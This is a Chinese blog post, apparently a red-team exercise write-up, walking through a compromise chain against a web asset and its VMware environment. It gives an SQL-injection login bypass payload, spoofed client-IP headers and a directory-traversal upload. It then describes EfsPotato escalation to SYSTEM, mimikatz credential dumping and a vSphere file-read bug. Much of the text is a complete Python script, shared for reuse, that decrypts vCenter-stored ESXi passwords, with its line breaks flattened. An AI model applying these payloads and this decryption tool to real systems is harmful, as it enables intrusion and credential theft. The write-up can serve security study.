攻防演练文件上传跨目录突破技巧

华盟原创文章投稿奖励计划

1

前言

随着演练常态化后,这比赛越来越难打了,身为一个0day匮乏的安服仔生存压力好大。这次小领导给压力了难打兄弟也要冲一把,用简单朴素得口令继续日站。

2

正文

fofa找到了一个可以爆破的资产,一波弱口令没进去,本想扭头跑路,随手试了一下万能密码,这站也没太大反应。

admin' or '1'='1/111

自动草稿

万能密码加个XFF头登录进来了,既然破站给机会了这波就要珍惜。

X-Real-IP: 127.0.0.1X-Forwarded-For (XFF): 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Client-IP: 127.0.0.1

自动草稿

找到一处文件上传点,上传文件提示路径缺失。


这里下一步思路基本上就是跨目录了。

自动草稿

目录穿越文件上传边界突破、(身为一个安服仔,到这里其实可以和领导交差了。漏扫得工资干这个确实伤身体)

自动草稿

自动草稿

推荐一个好用的哥斯拉土豆提权插件

https://github.com/zcgonvh/EfsPotato

直接system权限

自动草稿

用抓mimi抓密码,找到口令,复用了几台机器权限发现全都在虚拟化环境上。

自动草稿

去poc扫描一波,找到vSphere。自动草稿

踩了一些POC只发现一个任意文件读取漏洞,直接读取默认配置文件获取到mssql账密。

自动草稿

由于mssql执行命令低权限并且有杀软,命令执行拿vc控制权有些费劲


于是尝试使用VC数据库解密工具,对其数据库账密进行解密登录esxi

https://github.com/shmilylty/vhost_password_decrypt

vhost_password_decrypt 这工具多多少少有些bug,浪费了很多时间改工具,改好得源码给大家放下面了。

import base64import sys from Crypto.Cipher import AES usage='''usage: python3 decrypt.py symkey.dat password.enc''' def pkcs7unpadding(text): length = len(text) padding_length = ord(text[-1]) return text[0:length-padding_length]  def decrypt(key, enc_passwords): passwords = [] key_bytes = bytes.fromhex(key) for enc_password in enc_passwords: content = base64.b64decode(enc_password) iv_bytes = content[:16] enc_password_bytes = content[16:] cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) password_bytes = cipher.decrypt(enc_password_bytes) password = str(password_bytes, encoding='utf-8') password = pkcs7unpadding(password) line = f'{password}' print(line) # show the password as you save it to a file  passwords.append(line) return passwords  def save_decrypt_password(path, passwords): data = '\n'.join(passwords) with open(path, 'w') as file: file.write(data)  def get_encrypt_password(path): enc_passwords = [] with open(path, 'r') as file: for line in file: line = line.strip().strip('*') enc_passwords.append(line) return enc_passwords  def get_key(path): with open(path, 'r') as file: key = file.read().strip() return key  def main(): if len(sys.argv) != 3: print(usage) exit(1)  key = get_key(sys.argv[1]) encrypt_passwords = get_encrypt_password(sys.argv[2]) save_path = "result.txt" passwords = decrypt(key, encrypt_passwords) save_decrypt_password(save_path, passwords)  if __name__ == '__main__': main()

解密后登录4台ESXI


解密后得dmo东西:

自动草稿

自动草稿

文章来源:李白你好

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

本文来源李白你好,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论